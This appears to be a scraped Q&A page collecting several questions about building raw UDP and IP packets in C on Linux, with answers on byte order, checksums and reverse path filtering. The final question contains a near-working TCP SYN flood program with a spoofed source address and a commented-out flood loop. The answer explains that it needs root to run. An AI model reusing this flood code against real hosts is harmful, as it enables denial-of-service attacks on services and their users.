GOAL: send a crafted udp packet from 127.0.0.1 pport 8090 to localhost port 8091.
PROBLEM: the code shown below, as far I can see from wireshark, works in fact I can see my packet exactly with the values I chosen. Anyway if on terminal A I execute nc -ulp 8091 -vv and on terminal B I execute the program, nothing happens. I thought that the string "hhhhhhhhhh" should be visible in the output.
QUESTION: why I can not see the output send by the program?
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <net/ethernet.h> /* the L2 protocols */
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <stdio.h>
#include <arpa/inet.h> /* htons */
#include <sys/ioctl.h>
#include <net/if.h> /* ifreq */
#include <string.h>
#include <stdlib.h>
#include <linux/seccomp.h> /* seccomp_data */
#define BUF_SIZE 2048
//http://www.microhowto.info/howto/calculate_an_internet_protocol_checksum_in_c.html#idp22656
uint16_t ip_checksum(void* vdata,size_t length) {
// Cast the data pointer to one that can be indexed.
char* data=(char*)vdata;
// Initialise the accumulator.
uint32_t acc=0xffff;
// Handle complete 16-bit blocks.
for (size_t i=0;i+1<length;i+=2) {
uint16_t word;
memcpy(&word,data+i,2);
acc+=ntohs(word);
if (acc>0xffff) {
acc-=0xffff;
}
}
// Handle any partial block at the end of the data.
if (length&1) {
uint16_t word=0;
memcpy(&word,data+length-1,1);
acc+=ntohs(word);
if (acc>0xffff) {
acc-=0xffff;
}
}
// Return the checksum in network byte order.
return htons(~acc);
}
int main(){
const char IF[] = "lo"; // modify to change interface
int sockfd, ifindex, tx_len=sizeof(struct ether_header)+sizeof(struct iphdr)+sizeof(struct udphdr);
struct ifreq ifr;
size_t if_name_len;
char packet[BUF_SIZE];
struct ether_header *eh;
struct iphdr *iph;
struct udphdr *udph;
unsigned char *data;
u_int16_t src_port, dst_port;
struct sockaddr_ll dst_addr;
struct seccomp_data sec_payload;
const char dmac[] = {0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff};
const char smac[] = {0x00, 0xd0, 0x56, 0xf2, 0xb5, 0x12};
memset(packet, 0, sizeof(packet));
eh = (struct ether_header *) packet;
iph = (struct iphdr *) (packet + sizeof(struct ether_header));
udph = (struct udphdr *) (packet + sizeof(struct ether_header) + sizeof(struct iphdr));
data = (char *)packet + sizeof(struct ether_header) + sizeof(struct iphdr) + sizeof(struct udphdr);
// create raw socket to send/receive ethernet frames that can transport all protocols
if ((sockfd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) == -1) {
perror("socket");
}
// get interface name length
if_name_len = strlen(IF);
if(if_name_len < IF_NAMESIZE) {
strncpy(ifr.ifr_name, IF, strlen(IF));
ifr.ifr_name[if_name_len]=0;
}
// get the interface index number
if(ioctl(sockfd, SIOCGIFINDEX, &ifr) == -1){
perror("ioctl");
}
ifindex = ifr.ifr_ifindex;
// build ethernet header
memcpy(eh->ether_dhost, dmac, ETHER_ADDR_LEN);
memcpy(eh->ether_shost, smac, ETHER_ADDR_LEN);
eh->ether_type = htons(ETH_P_IP);
// add a struct seccomp_data as data
strcpy(data, "hhhhhhhhh");
tx_len += strlen(data);
// build ip header
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr) + strlen(data)); //sizeof(sec_payload)); //20+8+64
iph->id = htons(54321);
iph->frag_off = 0x00;
iph->ttl = 0xFF;
iph->protocol = IPPROTO_UDP;
iph->check = 0;
iph->saddr = inet_addr("127.0.0.1");
iph->daddr = inet_addr("127.0.0.1");
iph->check = ip_checksum(iph, iph->ihl << 2);
// build udp header
udph->source = htons(8090);
udph->dest = htons(8091);
udph->len = htons(sizeof(struct udphdr) + strlen(data));//sizeof(sec_payload));
udph->check = 0;
memset(&dst_addr, 0, sizeof(struct sockaddr_ll));
dst_addr.sll_ifindex = ifr.ifr_ifindex;
dst_addr.sll_halen = ETH_ALEN;
memcpy(dst_addr.sll_addr, dmac, ETH_ALEN);
if (sendto(sockfd, packet, tx_len, 0, (struct sockaddr*)&dst_addr, sizeof(struct sockaddr_ll)) < 0)
printf("Send failed\n");
return 0;
}
You used same source and destination ip address. Just changing the source address to fake makes it work. Linux kernel must be dropping the packet, because it doesn't think it originated it.
I've found that on my linux box disabling Reverse Path Filtering for test purposes (sudo sysctl -w 'net.ipv4.conf.all.rp_filter=0') fixed the issue. I was able to send and receive crafted udp packets on same host.
Reverse Path Filtering feature seems to be used for mitigating attacks using ip address spoofing. What may explain why in your case the packet was never delivered to net cat application.
Related
I have been learning raw sockets for the past few days and I am unable to send UDP packets over RAW sockets. I tried writing code for this but UDP packets were not sent. (I was capturing packets via wireshark, only IPv4 packets were sent, containing headers upto IP layer). I searched a lot on the internet and tried various codes as well which I found on the internet but still couldn't send UDP packets (not seen on wireshark). Can someone suggest changes in code or point to some resource regarding this.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <linux/ip.h>
#include <linux/udp.h>
#define PCKT_LEN 8192
unsigned short csum(unsigned short *buf, int nwords)
{
unsigned long sum;
for(sum=0; nwords>0; nwords--)
sum += *buf++;
sum = (sum >> 16) + (sum &0xffff);
sum += (sum >> 16);
return (unsigned short)(~sum);
}
int main(int argc, char const *argv[])
{
if (argc != 5) {
printf("Error: Invalid parameters!\n");
printf("Usage: %s <source hostname/IP> <source port> <target hostname/IP> <target port>\n", argv[0]);
exit(1);
}
u_int16_t src_port, dst_port;
u_int32_t src_addr, dst_addr;
src_addr = inet_addr(argv[1]);
dst_addr = inet_addr(argv[3]);
src_port = atoi(argv[2]);
dst_port = atoi(argv[4]);
int sd;
char buffer[PCKT_LEN];
struct iphdr *ip = (struct iphdr *) buffer;
struct udphdr *udp = (struct udphdr *) (buffer + sizeof(struct iphdr));
struct sockaddr_in sin;
int one = 1;
const int *val = &one;
memset(buffer, 0, PCKT_LEN);
// create a raw socket with UDP protocol
sd = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);
if (sd < 0) {
perror("socket() error");
exit(2);
}
printf("OK: a raw socket is created.\n");
// inform the kernel do not fill up the packet structure, we will build our own
if(setsockopt(sd, IPPROTO_IP, IP_HDRINCL, val, sizeof(one)) < 0) {
perror("setsockopt() error");
exit(2);
}
printf("OK: socket option IP_HDRINCL is set.\n");
sin.sin_family = AF_INET;
sin.sin_port = htons(dst_port);
sin.sin_addr.s_addr = dst_addr;
// fabricate the IP header
ip->ihl = 5;
ip->version = 4;
ip->tos = 16; // low delay
ip->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr);
ip->id = htons(54321);
ip->ttl = 64; // hops
ip->protocol = 17; // UDP
// source IP address, can use spoofed address here
ip->saddr = src_addr;
ip->daddr = dst_addr;
// fabricate the UDP header
udp->source = htons(src_port);
// destination port number
udp->dest = htons(dst_port);
udp->len = htons(sizeof(struct udphdr));
// calculate the checksum for integrity
ip->check = csum((unsigned short *)buffer,
sizeof(struct iphdr) + sizeof(struct udphdr));
if (sendto(sd, buffer, ip->tot_len, 0,
(struct sockaddr *)&sin, sizeof(sin)) < 0)
{
perror("sendto()");
exit(3);
}
printf("OK: one packet is sent.\n");
close(sd);
return 0;
}
I am trying to create a test program in C on Linux (Ubuntu 18.04) that sends an empty UDP packet via an AF_PACKET/PF_PACKET socket using SOCK_RAW. In this program, I know the source and destination MAC addresses and IPs. However, it is not working and I'm not sure what I'm doing wrong. I wasn't able to find much resources online regarding this issue sadly since most of the threads I've found are more so for receiving packets on AF_PACKET sockets. The program also states it sends the correct amount of bytes to the destination. Though, I don't see the packets when using tcpdump both on the source and destination VMs.
Here is the program's code:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <linux/if.h>
#include <linux/if_packet.h>
#include <linux/udp.h>
#include <net/ethernet.h>
#include <string.h>
#include <error.h>
#include <errno.h>
#include <inttypes.h>
#define REDIRECT_HEADER
#include "csum.h"
#define MAX_PCKT_LENGTH 65535
int main()
{
int sockfd;
struct sockaddr_ll dst;
char pckt[MAX_PCKT_LENGTH];
sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd <= 0)
{
perror("socket");
exit(1);
}
dst.sll_family = AF_PACKET;
dst.sll_protocol = ETH_P_IP;
if ((dst.sll_ifindex = if_nametoindex("ens18")) == 0)
{
fprintf(stdout, "Interface 'ens18' not found.\n");
exit(1);
}
// Do destination ethernet MAC (ae:21:14:4b:3a:6d).
dst.sll_addr[0] = 0xAE;
dst.sll_addr[1] = 0x21;
dst.sll_addr[2] = 0x14;
dst.sll_addr[3] = 0x4B;
dst.sll_addr[4] = 0x3A;
dst.sll_addr[5] = 0x6D;
dst.sll_halen = 6;
// I tried doing this with and without bind. Still not working.
if (bind(sockfd, (struct sockaddr *)&dst, sizeof(dst)) < 0)
{
perror("bind");
exit(1);
}
struct ethhdr *ethhdr = (struct ethhdr *) (pckt);
struct iphdr *iphdr = (struct iphdr *) (pckt + sizeof(struct ethhdr));
struct udphdr *udphdr = (struct udphdr *) (pckt + sizeof(struct ethhdr) + sizeof(struct iphdr));
unsigned char *data = (unsigned char *) (pckt + sizeof(struct ethhdr) + sizeof(struct iphdr) + sizeof(struct udphdr));
// Do source ethernet MAC (1a:c4:df:70:d8:a6).
ethhdr->h_source[0] = 0x1A;
ethhdr->h_source[1] = 0xC4;
ethhdr->h_source[2] = 0xDF;
ethhdr->h_source[3] = 0x70;
ethhdr->h_source[4] = 0xD8;
ethhdr->h_source[5] = 0xA6;
// Copy destination MAC to sockaddr_ll.
memcpy(ethhdr->h_dest, dst.sll_addr, 6);
// Protocol.
ethhdr->h_proto = ETH_P_IP;
// Fill out ip header.
iphdr->ihl = 5;
iphdr->version = 4;
iphdr->frag_off = 0;
iphdr->id = rand();
iphdr->protocol = IPPROTO_UDP;
iphdr->tos = 0x0;
iphdr->ttl = 64;
iphdr->saddr = inet_addr("10.50.0.3");
iphdr->daddr = inet_addr("10.50.0.4");
iphdr->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr);
iphdr->check = 0;
iphdr->check = ip_fast_csum(iphdr, iphdr->ihl);
// Fill out UDP header.
udphdr->source = htons(27000);
udphdr->dest = htons(27015);
udphdr->len = htons(sizeof(struct udphdr));
udphdr->check = 0;
udphdr->check = csum_tcpudp_magic(iphdr->saddr, iphdr->daddr, sizeof(struct udphdr), IPPROTO_UDP, csum_partial(udphdr, sizeof(struct udphdr), 0));
// Send packet
uint16_t sent;
if ((sent = sendto(sockfd, pckt, iphdr->tot_len + sizeof(struct ethhdr), 0, (struct sockaddr *)&dst, sizeof(dst))) < 0)
{
perror("sendto");
}
fprintf(stdout, "Sent %d of data.\n", sent);
close(sockfd);
exit(0);
}
Both the source and destination servers are VMs on my home server (both running Ubuntu 18.04).
Here is the main interface of my source VM:
ens18: flags=323<UP,BROADCAST,RUNNING,PROMISC> mtu 1500
inet 10.50.0.3 netmask 255.255.255.0 broadcast 10.50.0.255
inet6 fe80::18c4:dfff:fe70:d8a6 prefixlen 64 scopeid 0x20<link>
ether 1a:c4:df:70:d8:a6 txqueuelen 1000 (Ethernet)
RX packets 1959766813 bytes 1896024793559 (1.8 TB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 1936101432 bytes 1333123918522 (1.3 TB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Here is the main interface of my destination VM:
ens18: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.50.0.4 netmask 255.255.255.0 broadcast 10.50.0.255
inet6 fe80::ac21:14ff:fe4b:3a6d prefixlen 64 scopeid 0x20<link>
ether ae:21:14:4b:3a:6d txqueuelen 1000 (Ethernet)
RX packets 1032069029 bytes 1251754298166 (1.2 TB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 74446483 bytes 9498785163 (9.4 GB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
I tried setting the source VM's 'ens18' interface to promiscuous mode, but that didn't make any difference. I don't think that would matter in this case, though. I also want to use SOCK_RAW in this case because I want to gain more experience and I don't want the kernel to do anything to the packets (I read that using AF_PACKET + SOCK_RAW will result in the kernel not messing with the packets).
With that said, I have an additional question. How would I go about getting the MAC address of an IP that isn't on the network/bound to an interface (e.g. a destination IP going to a server outside of my network)? I would assume I'd have to send an ARP request. If so, do I just send an ARP request to the destination server and get the MAC address before submitting each packet via AF_PACKET + SOCK_RAW?
Any help is highly appreciated and thank you for your time!
I was able to figure out the issue. I wasn't converting the Ethernet protocol (ETH_P_IP) to network byte order via htons() since it's a big endian. With that said, I had to convert iphdr->total_len to network byte order as well. Otherwise, the IP header's total length would be incorrect according to tcpdump. I didn't do this in other programs I made and it worked okay. Therefore, I'd assume the kernel converted the IP header's total length to network byte order automatically.
Since I'm using an AF_PACKET socket to send, I have to do things the kernel would normally do.
Here's the program's final code for anyone wondering:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <linux/if.h>
#include <linux/if_packet.h>
#include <linux/udp.h>
#include <net/ethernet.h>
#include <string.h>
#include <error.h>
#include <errno.h>
#include <inttypes.h>
#define REDIRECT_HEADER
#include "csum.h"
#define MAX_PCKT_LENGTH 65535
int main()
{
int sockfd;
struct sockaddr_ll dst;
char pckt[MAX_PCKT_LENGTH];
sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd <= 0)
{
perror("socket");
exit(1);
}
dst.sll_family = PF_PACKET;
dst.sll_protocol = htons(ETH_P_IP);
if ((dst.sll_ifindex = if_nametoindex("ens18")) == 0)
{
fprintf(stdout, "Interface 'ens18' not found.\n");
exit(1);
}
// Do destination ethernet MAC (ae:21:14:4b:3a:6d).
dst.sll_addr[0] = 0xAE;
dst.sll_addr[1] = 0x21;
dst.sll_addr[2] = 0x14;
dst.sll_addr[3] = 0x4B;
dst.sll_addr[4] = 0x3A;
dst.sll_addr[5] = 0x6D;
dst.sll_halen = ETH_ALEN;
// I tried doing this with and without bind. Still not working.
if (bind(sockfd, (struct sockaddr *)&dst, sizeof(dst)) < 0)
{
perror("bind");
exit(1);
}
struct ethhdr *ethhdr = (struct ethhdr *) (pckt);
struct iphdr *iphdr = (struct iphdr *) (pckt + sizeof(struct ethhdr));
struct udphdr *udphdr = (struct udphdr *) (pckt + sizeof(struct ethhdr) + sizeof(struct iphdr));
unsigned char *data = (unsigned char *) (pckt + sizeof(struct ethhdr) + sizeof(struct iphdr) + sizeof(struct udphdr));
// Do source ethernet MAC (1a:c4:df:70:d8:a6).
ethhdr->h_source[0] = 0x1A;
ethhdr->h_source[1] = 0xC4;
ethhdr->h_source[2] = 0xDF;
ethhdr->h_source[3] = 0x70;
ethhdr->h_source[4] = 0xD8;
ethhdr->h_source[5] = 0xA6;
for (int i = 0; i < 30; i++)
{
memcpy(data + i, "b", 1);
}
// Copy destination MAC to sockaddr_ll.
memcpy(ethhdr->h_dest, dst.sll_addr, ETH_ALEN);
// Protocol.
ethhdr->h_proto = htons(ETH_P_IP);
// Fill out ip header.
iphdr->ihl = 5;
iphdr->version = 4;
iphdr->frag_off = 0;
iphdr->id = htons(0);
iphdr->protocol = IPPROTO_UDP;
iphdr->tos = 0x0;
iphdr->ttl = 64;
iphdr->saddr = inet_addr("10.50.0.3");
iphdr->daddr = inet_addr("10.50.0.4");
iphdr->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr) + 30);
iphdr->check = 0;
iphdr->check = ip_fast_csum(iphdr, iphdr->ihl);
// Fill out UDP header.
udphdr->source = htons(27000);
udphdr->dest = htons(27015);
udphdr->len = htons(sizeof(struct udphdr) + 30);
udphdr->check = 0;
udphdr->check = csum_tcpudp_magic(iphdr->saddr, iphdr->daddr, sizeof(struct udphdr) + 30, IPPROTO_UDP, csum_partial(udphdr, sizeof(struct udphdr) + 30, 0));
// Send packet
uint16_t sent;
int len = ntohs(iphdr->tot_len) + sizeof(struct ethhdr) + 30;
if ((sent = sendto(sockfd, pckt, len, 0, (struct sockaddr *)&dst, sizeof(dst))) < 0)
//if ((sent = write(sockfd, pckt, len)) < 0)
{
perror("sendto");
}
fprintf(stdout, "Sent %d of data. %d is IPHdr len. %d is len.\n", sent, iphdr->tot_len, len);
close(sockfd);
exit(0);
}
GOAL: crafting a packet from zero including ethernet header, ip header, udp header and a seccomp_data structure as data.
PROBLEM: I'm struggling to correctly craft the packet, in fact currently when I sniff the traffic wireshark gives me Expert Info (Error/Protocol): IPv4 total length exceeds packet length (64 bytes) where the resulting length of the packet is 23552. What am I missing?
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <net/ethernet.h> /* the L2 protocols */
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <stdio.h>
#include <arpa/inet.h> /* htons */
#include <sys/ioctl.h>
#include <net/if.h> /* ifreq */
#include <string.h>
#include <stdlib.h>
#include <linux/seccomp.h> /* seccomp_data */
#define BUF_SIZE 1024
int main(){
const char IF[] = "lo"; // modify to change interface
int sockfd, ifindex, tx_len=ETH_HLEN;
struct ifreq ifr;
size_t if_name_len;
char buf[BUF_SIZE];
struct ether_header *eh = (struct ether_header *) buf;
struct iphdr *iph = (struct iphdr *) (buf + sizeof(struct ether_header));
struct udphdr *udph = (struct udphdr *) (buf + sizeof(struct ether_header) + sizeof(struct iphdr));
unsigned char *data = buf + sizeof(struct ether_header) + sizeof(struct iphdr) + sizeof(struct udphdr);
struct sockaddr_ll dst_addr;
struct seccomp_data sec_payload;
const char dmac[] = {0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff};
const char smac[] = {0xff, 0x99, 0x88, 0x77, 0x66, 0x55};
// create raw socket to send/receive ethernet frames that transport ip packet
if ((sockfd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_IP))) == -1) {
perror("socket");
}
// get interface name length
if_name_len = strlen(IF);
if(if_name_len < IF_NAMESIZE) {
strncpy(ifr.ifr_name, IF, strlen(IF));
ifr.ifr_name[if_name_len]=0;
}
// get the interface index number
if(ioctl(sockfd, SIOCGIFINDEX, &ifr) == -1){
perror("ioctl");
}
ifindex = ifr.ifr_ifindex;
// build ethernet header
memcpy(eh->ether_dhost, dmac, ETHER_ADDR_LEN);
memcpy(eh->ether_shost, smac, ETHER_ADDR_LEN);
eh->ether_type = htons(ETH_P_IP);
// add a struct seccomp_data as data
memset(&sec_payload,0,sizeof(struct seccomp_data));
data = (char*)malloc(sizeof(struct seccomp_data));
memcpy(data, (const unsigned char *)&sec_payload, sizeof(struct seccomp_data));
int i;
for(i=0;i<sizeof(sec_payload);i++){
buf[tx_len++] = data[i];
printf("%02X ",data[i]);
}
// build ip header
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + sizeof(sec_payload);
iph->id = htons(54321);
iph->frag_off = 0;
iph->ttl = 64;
iph->protocol = IPPROTO_UDP;
iph->saddr = inet_addr("127.0.0.1");
iph->daddr = inet_addr("127.0.0.1");
memset(&dst_addr,0,sizeof(struct sockaddr_ll));
dst_addr.sll_ifindex = ifr.ifr_ifindex;
dst_addr.sll_halen = ETH_ALEN;
memcpy(dst_addr.sll_addr, dmac, ETH_ALEN);
printf("tx_len %d\n, tot_len %d\n", tx_len, iph->tot_len);
if (sendto(sockfd, buf, tx_len, 0, (struct sockaddr*)&dst_addr, sizeof(struct sockaddr_ll)) < 0)
printf("Send failed\n");
return 0;
}
Network byte order (the order in which bytes are typically transmitted on Internet protocols) is big endian, the most significant bytes are transmitted first. In particular, you need to htons() the total length field.
GOAL: crafting a packet from zero and send it.
PROBLEM: after I enabled "validate checksum" on wireshark I noticed that the expected checksum value should be 0xa85d but the checksum function I'm using computes a different value each time. Why the checksum is changing if the packet is always the same? What is the cause of the checksum mismatch between the one I compute and the one expected by wireshark? Thanks
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <net/ethernet.h> /* the L2 protocols */
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <stdio.h>
#include <arpa/inet.h> /* htons */
#include <sys/ioctl.h>
#include <net/if.h> /* ifreq */
#include <string.h>
#include <stdlib.h>
#include <linux/seccomp.h> /* seccomp_data */
#define BUF_SIZE 1024
// https://gist.github.com/leonid-ed/909a883c114eb58ed49f
unsigned short csum(unsigned short *buf, int nwords)
{
unsigned long sum;
for(sum=0; nwords>0; nwords--)
sum += *buf++;
sum = (sum >> 16) + (sum &0xffff);
sum += (sum >> 16);
return (unsigned short)(~sum);
}
int main(){
const char IF[] = "lo"; // modify to change interface
int sockfd, ifindex, tx_len=sizeof(struct ether_header)+sizeof(struct iphdr)+sizeof(struct udphdr);
struct ifreq ifr;
size_t if_name_len;
char buf[BUF_SIZE];
struct ether_header *eh = (struct ether_header *) buf;
struct iphdr *iph = (struct iphdr *) (buf + sizeof(struct ether_header));
struct udphdr *udph = (struct udphdr *) (buf + sizeof(struct ether_header) + sizeof(struct iphdr));
unsigned char *data = buf + sizeof(struct ether_header) + sizeof(struct iphdr) + sizeof(struct udphdr);
u_int16_t src_port, dst_port;
struct sockaddr_ll dst_addr;
struct seccomp_data sec_payload;
const char dmac[] = {0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff};
const char smac[] = {0x00, 0xd0, 0x56, 0xf2, 0xb5, 0x12};
// create raw socket to send/receive ethernet frames that can transport all protocols
if ((sockfd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) == -1) {
perror("socket");
}
// get interface name length
if_name_len = strlen(IF);
if(if_name_len < IF_NAMESIZE) {
strncpy(ifr.ifr_name, IF, strlen(IF));
ifr.ifr_name[if_name_len]=0;
}
// get the interface index number
if(ioctl(sockfd, SIOCGIFINDEX, &ifr) == -1){
perror("ioctl");
}
ifindex = ifr.ifr_ifindex;
// build ethernet header
memcpy(eh->ether_dhost, dmac, ETHER_ADDR_LEN);
memcpy(eh->ether_shost, smac, ETHER_ADDR_LEN);
eh->ether_type = htons(ETH_P_IP);
// add a struct seccomp_data as data
memset(&sec_payload,5,sizeof(struct seccomp_data));
data = (char*)malloc(sizeof(struct seccomp_data));
memcpy(data, (const unsigned char *)&sec_payload, sizeof(struct seccomp_data));
int i;
for(i=0;i<sizeof(sec_payload);i++){
buf[tx_len++] = data[i];
printf("%02X ",data[i]);
}
// build ip header
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr) + sizeof(sec_payload));
iph->id = htons(54321);
iph->frag_off = 0;
iph->ttl = 64;
iph->protocol = IPPROTO_UDP;
iph->check = 0;
iph->saddr = inet_addr("127.0.0.1");
iph->daddr = inet_addr("127.0.0.1");
// build udp header
udph->source = htons(8090);
udph->dest = htons(8091);
udph->len = htons(sizeof(struct udphdr) + sizeof(sec_payload));
iph->check = csum((unsigned short *)buf, sizeof(struct iphdr) + sizeof(struct udphdr) + sizeof(sec_payload));
memset(&dst_addr,0,sizeof(struct sockaddr_ll));
dst_addr.sll_ifindex = ifr.ifr_ifindex;
dst_addr.sll_halen = ETH_ALEN;
memcpy(dst_addr.sll_addr, dmac, ETH_ALEN);
if (sendto(sockfd, buf, tx_len, 0, (struct sockaddr*)&dst_addr, sizeof(struct sockaddr_ll)) < 0)
printf("Send failed\n");
return 0;
}
I'm trying to make a TCP SYN flood between two ubuntu machines (I'm using virtualbox, and i do have ping between the machines).
The error I get is
ERROR setting IP_HDRNICL.
ERROR number:9.
ERROR message:Bad file descriptor.
I guess it's related that I'm using virtualbox machines so how can I make this tcp syn flood to work without setting IP_HDRINCL?
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <stdlib.h>
#include <errno.h>
#include <netinet/tcp.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
struct pseudo_header
{
unsigned int source_address;
unsigned int dest_address;
unsigned char placeholder;
unsigned char protocol;
unsigned short tcp_length;
struct tcphdr tcp;
};
unsigned short csum(unsigned short *ptr,int nbytes) {
register long sum;
unsigned short oddbyte;
register short answer;
sum=0;
while(nbytes>1) {
sum+=*ptr++;
nbytes-=2;
}
if(nbytes==1) {
oddbyte=0;
*((u_char*)&oddbyte)=*(u_char*)ptr;
sum+=oddbyte;
}
sum = (sum>>16)+(sum & 0xffff);
sum = sum + (sum>>16);
answer=(short)~sum;
return(answer);
}
int main (void)
{
//Create a raw socket
int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
//Datagram to represent the packet
char datagram[4096] , source_ip[32];
//IP header
struct iphdr *iph = (struct iphdr *) datagram;
//TCP header
struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
struct sockaddr_in sin;
struct pseudo_header psh;
strcpy(source_ip , "192.168.56.101");
sin.sin_family = AF_INET;
sin.sin_port = htons(80);
sin.sin_addr.s_addr = inet_addr ("1.2.3.4");
memset (datagram, 0, 4096); /* zero out the buffer */
//Fill in the IP Header
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = sizeof (struct ip) + sizeof (struct tcphdr);
iph->id = htons(54321); //Id of this packet
iph->frag_off = 0;
iph->ttl = 255;
iph->protocol = IPPROTO_TCP;
iph->check = 0; //Set to 0 before calculating checksum
iph->saddr = inet_addr ( source_ip ); //Spoof the source ip address
iph->daddr = sin.sin_addr.s_addr;
iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
//TCP Header
tcph->source = htons (1234);
tcph->dest = htons (80);
tcph->seq = 0;
tcph->ack_seq = 0;
tcph->doff = 5; /* first and only tcp segment */
tcph->fin=0;
tcph->syn=1;
tcph->rst=0;
tcph->psh=0;
tcph->ack=0;
tcph->urg=0;
tcph->window = htons (5840); /* maximum allowed window size */
tcph->check = 0;/* if you set a checksum to zero, your kernel's IP stack
should fill in the correct checksum during transmission */
tcph->urg_ptr = 0;
//Now the IP checksum
psh.source_address = inet_addr( source_ip );
psh.dest_address = sin.sin_addr.s_addr;
psh.placeholder = 0;
psh.protocol = IPPROTO_TCP;
psh.tcp_length = htons(20);
memcpy(&psh.tcp , tcph , sizeof (struct tcphdr));
tcph->check = csum( (unsigned short*) &psh , sizeof (struct pseudo_header));
//IP_HDRINCL to tell the kernel that headers are included in the packet
int one = 1;
const int *val = &one;
if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
{
printf ("Error setting IP_HDRINCL. Error number : %d . Error message : %s \n" , errno , strerror(errno));
exit(0);
}
//Uncommend the loop if you want to flood :)
//while (1)
//{
//Send the packet
if (sendto (s, /* our socket */
datagram, /* the buffer containing headers and data */
iph->tot_len, /* total length of our datagram */
0, /* routing flags, normally always 0 */
(struct sockaddr *) &sin, /* socket addr, just like in */
sizeof (sin)) < 0) /* a normal send() */
{
printf ("error\n");
}
//Data send successfully
else
{
printf ("Packet Send \n");
}
//}
return 0;
}
You need to have root in order to use raw socket. I have the exact same error message when I run your programm without root permissions but it is working fine when launched with root permissions.